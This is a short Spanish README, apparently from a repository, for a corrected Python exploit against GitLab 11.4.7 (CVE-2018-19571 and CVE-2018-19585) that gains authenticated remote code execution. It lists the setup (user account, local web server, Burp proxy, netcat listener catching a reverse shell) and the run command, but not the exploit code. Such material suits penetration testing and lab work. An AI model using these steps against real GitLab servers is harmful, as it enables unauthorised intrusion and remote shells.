edb-49263-fixed - GitLab 11.4.7 - Ejecución Remota de Código Autenticado

Versión corregida del script de Python para explotar CVE-2018-19571 y CVE-2018-19585 (GitLab 11.4.7 - Ejecución Remota de Código Autenticado) que está disponible en https://www.exploit-db.com/exploits/49263 (Python 3.9).

Uso

Edita el script y reemplaza la dirección objetivo allí con la dirección objetivo real.

También ten en cuenta que debes

1. tener una cuenta de usuario válida en la instancia de GitLab objetivo,
2. ejecutar un servidor web (python) en el puerto 80 en el directorio desde donde se ejecuta el script,
3. tener un servidor proxy activo en tu máquina en el puerto 8080 (por ejemplo, BURP con intercepción desactivada; la ejecución del script fallará sin error si no hay un servidor proxy ejecutándose en el host local o si está rechazando conexiones), y
4. tener un listener de netcat configurado en el puerto deseado en tu máquina.

El script se ejecuta de la siguiente manera:

python3 49263.py -U username -P password -l local-ip -p local-port-for-netcat-listener